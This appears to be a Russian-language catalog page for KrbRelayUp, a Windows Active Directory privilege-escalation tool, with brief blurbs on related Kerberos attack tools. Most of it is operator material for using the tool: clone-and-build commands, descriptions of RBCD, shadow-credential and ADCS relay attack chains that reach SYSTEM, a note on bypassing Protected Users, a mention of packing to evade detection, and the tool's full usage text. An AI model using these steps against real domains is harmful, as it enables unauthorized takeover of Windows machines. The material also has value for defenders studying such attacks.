Инструмент для локального повышения привилегий в доменных средах Windows при отсутствии обязательной подписи LDAP.
C#-инструмент для атак на Kerberos в среде Active Directory: AS-REP Roasting, Kerberoasting, Pass-the-Ticket, Overpass-the-Hash, Golden/Silver Ticket, …
Python-утилита для Kerberoast-атаки с дополнительным механизмом ACL abuse: для пользователей без SPN скрипт пытается временно выставить …
Инструмент для извлечения паролей, хешей, PIN-кодов и Kerberos-тикетов из памяти Windows. Поддерживает Pass-the-Hash, Pass-the-Ticket, Golden/Silver Ticket, …
Интерактивный инструмент для эскалации привилегий и администрирования Active Directory через LDAP.
git clone https://github.com/Dec0ne/KrbRelayUp.git # Go-компонент: go build -o KrbRelayUp.exe ./main.go # C#-компонент (KrbRelayUp.Slave): dotnet build KrbRelayUp.Slave/KrbRelayUp.Slave.csproj # Готовые бинарники доступны в GitHub Releases (смешанный Go + C# проект)
Простой обёртка над некоторыми функциями Rubeus и KrbRelay (а также несколькими другими упомянутыми в разделе благодарностей) с целью автоматизации злоупотребления следующей атакой:
По сути, это универсальная локальная привилегированная эскалация в доменных средах Windows, где подпись LDAP не принудительна (стандартные настройки).
ОБНОВЛЕНИЕ: Здесь отличный разбор от @an0n_r0 о том, как выполнять эту атаку вручную (с использованием оригинальных инструментов для этого пути атаки: PowerMad/SharpMad, KrbRelay, Rubeus и SCMUACBypass)
Я добавил некоторые функции для поддержки этой атаки с использованием shadow credentials. Обратите внимание, что это устраняет необходимость добавления (или владения) другой учётной записью машины.
Примечание: данный метод атаки обходит защиту Protected Users (или 'Учётная запись чувствительна и не может быть делегирована') благодаря злоупотреблению S4U2Self.
ОБНОВЛЕНИЕ: Здесь отличный разбор от @icyguider, как выполнять метод ShadowCred этой атаки вручную (с использованием оригинальных инструментов для этого пути атаки: KrbRelay, Rubeus и SCMUACBypass), а также применение NimCrypt2 для упаковки различных инструментов и обхода некоторых механизмов обнаружения.
Я добавил поддержку релейей аутентификации машины KRB к ADCS Web Enrollment (вместо LDAP). Это устраняет необходимость отсутствия принудительной подписи LDAP в домене, так как эта атака не релейирует к LDAP.
Примечание: данный метод атаки обходит защиту Protected Users (или 'Учётная запись чувствительна и не может быть делегирована') благодаря злоупотреблению S4U2Self.
KrbRelayUp - Relaying you to SYSTEM
FULL: Perform full attack chain. Options are identical to RELAY. Tool must be on disk.
RELAY: First phase of the attack. Will Coerce Kerberos auth from local machine account, relay it to LDAP and create a control primitive over the local machine using RBCD or SHADOWCRED.
Usage: KrbRelayUp.exe relay -d FQDN -cn COMPUTERNAME [-c] [-cp PASSWORD | -ch NTHASH]
-m (--Method) Abuse method to use in after a successful relay to LDAP <rbcd/shadowcred> (default=rbcd)
-p (--Port) Port for Com Server (default=12345)
-cls (--Clsid) CLSID to use for coercing Kerberos auth from local machine account (default=90f18417-f0f1-484e-9d3c-59dceee5dbd8)
# RBCD Method:
-c (--CreateNewComputerAccount) Create new computer account for RBCD. Will use the current authenticated user.
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (default=RANDOM [if -c is enabled])
# SHADOWCRED Method:
-f (--ForceShadowCred) Clear the msDS-KeyCredentialLink attribute of the attacked computer account before adding our new shadow credentials. (Optional)
# ADCS Method:
-ca (--CAEndpoint) CA endpoint FQDN (default = same as DC)
-https Connect to CA endpoint over secure HTTPS instead of HTTP)
-cet (--CertificateTemplate) Certificate template to request for (default=Machine)
SPAWN: Second phase of the attack. Will use the appropriate control primitive to obtain a Kerberos Service Ticket and will use it to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe spawn -d FQDN -cn COMPUTERNAME [-cp PASSWORD | -ch NTHASH] <-i USERTOIMPERSONATE>
-m (--Method) Abuse method used in RELAY phase <rbcd/shadowcred> (default=rbcd)
-i (--Impersonate) User to impersonate. should be a local administrator in the target computer. (default=Administrator)
-s (--ServiceName) Name of the service to be created. (default=KrbSCM)
-sc (--ServiceCommand) Service command [binPath]. (default = spawn cmd.exe as SYSTEM)
# RBCD Method:
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (either -cp or -ch must be specified)
-ch (--ComputerPasswordHash) Password NT hash of computer account for RBCD. (either -cp or -ch must be specified)
# SHADOWCRED | ADCS Method:
-ce (--Certificate) Base64 encoded certificate or path to certificate file
-cep (--CertificatePassword) Certificate password (if applicable)
KRBSCM: Will use the currently loaded Kerberos Service Ticket to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe krbscm <-s SERVICENAME> <-sc SERVICECOMMANDLINE>
-s (--ServiceName) Name of the service to be created. (default=KrbSCM)
-sc (--ServiceCommand) Service command [binPath]. (default = spawn cmd.exe as SYSTEM)
General Options:
-d (--Domain) FQDN of domain. (Optional)
-dc (--DomainController) FQDN of domain controller. (Optional)
-ssl Use LDAP over SSL. (Optional)
-n Use CreateNetOnly (needs to be on disk) instead of PTT when importing ST (enabled if using FULL mode)
-v (--Verbose) Show verbose output. (Optional)
